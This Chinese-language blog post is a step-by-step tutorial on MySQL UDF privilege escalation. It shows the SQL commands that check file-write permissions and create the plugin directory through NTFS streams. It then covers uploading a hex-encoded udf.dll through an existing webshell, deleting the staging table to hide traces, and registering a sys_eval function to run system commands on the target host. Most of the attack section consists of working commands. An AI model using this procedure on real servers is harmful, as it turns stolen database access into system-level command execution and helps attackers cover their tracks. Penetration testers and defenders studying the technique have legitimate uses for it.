MySQL-UDF提权

发布于 2022-04-12  618 次阅读


简介

UDF介绍:User Defined
Functions简称UDF,通俗来讲就是用户可自定义函数。udf提权就是利用到创建自定义函数(sys_eval),在mysql中调用这个自定义的函数(sys_eval)来实现获取对方主机的system的shell权限,从而达到提权的目的。
简单来说便是利用提权脚本放到对方mysql指定的目录下(\lib\plugin),运用脚本创建自定义函数,使用函数即可获取shell权限

Mysql版本大于5.1版本:udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
Mysql版本小于5.1版本: udf.dll文件在Windows2003下放置于c:\windows\system32,
在windows2000下放置于c:\winnt\system32。
如果目录不存在则利用NTFS数据流创建文件目录

select 'It is dll' into dumpfile 'C:\\phpStudy\\MySQL\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录 
select 'It is dll' into dumpfile 'C:\\phpStudy\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS创建plugin目录

提权条件

1)获取到对方mysql的shell,或者是获取到mysql账号密码,能够调用mysql语句
2)对方mysql具有insert和delete权限,也就是可写可删除添加能够创建目录,写入文件
验证是否可写:

show global variables like 'secure%';

image-20220412164208429

如果secure_file_priv值为空则可写,为指定路劲则是指定路径可写,需要全部可写需要在mysql.ini配置文件添加语句:即可
secure_file_priv是限制函数在哪个目录下拥有上传或者读取文件的权限

secure_file_priv=

3)熟悉对方mysql目录结构,以及主机型号,以便使用不同的脚本
查看主机架构,以便确认操作系统位数,使用不同的udf.dll脚本

show variables like '%compile%'; 

image-20220412164914020

确定mysql目录结构,搜索我们需要的目录位置
查看plugin目录位置

show variables like 'plugin%'; #查找具体目录
select @@basedir;#查看mysql目录

image-20220412164924882

3)提权脚本我在这里简称udf.dll
在kali里面自带udf提权脚本,并且有32位与64位版本,使用只需要将文件导出使用即可
目录位置

/usr/share/metasploit-framework/data/exploits/mysql

image-20220412165001401

提权步骤

1)将文件放入\lib\plugin目录下

拿到一个网站的webshell之后,在指定位置创建udf文件。如何创建?先别忘了,现在连源udf文件都没有。sqlmap中有现成的udf文件,分为32位和64位,一定要选择对版本,否则会显示:Can't open shared library 'udf.dll'。获取sqlmap的udf请看链接:MySQL 利用UDF执行命令

然后将获得的udf.dll文件转换成16进制,一种思路是在本地使用mysql函数hex:

CopySELECT hex(load_file(dll文件位置的16进制形式)) into dumpfile 'C:\\Users\\daniel\\Desktop\\gg.txt';

此时gg.txt文件的内容就是udf文件的16进制形式

接下来就是把本地的udf16进制形式通过我们已经获得的webshell传到目标主机上。

Copy1. CREATE TABLE udftmp (c blob); //新建一个表,名为udftmp,用于存放本地传来的udf文件的内容。
2. INSERT INTO udftmp values(unhex('udf文件的16进制格式')); //在udftmp中写入udf文件内容
3. SELECT c FROM udftmp INTO DUMPFILE 'H:\\PHPStudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll'; //将udf文件内容传入新建的udf文件中,路径根据自己的@@basedir修改
//对于mysql小于5.1的,导出目录为C:\Windows\或C:\Windows\System32\

到这儿如果没有报错的话就说明已经在目标主机上成功生成了udf文件。下面要导入udf函数:

DROP TABLE udftmp; //为了删除痕迹,把刚刚新建的udftmp表删掉
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; //导入udf函数

导入成功的话就可以使用了:

SELECT sys_eval('ipconfig');
返回网卡信息
Daniel_WRF
最后更新于 2023-09-22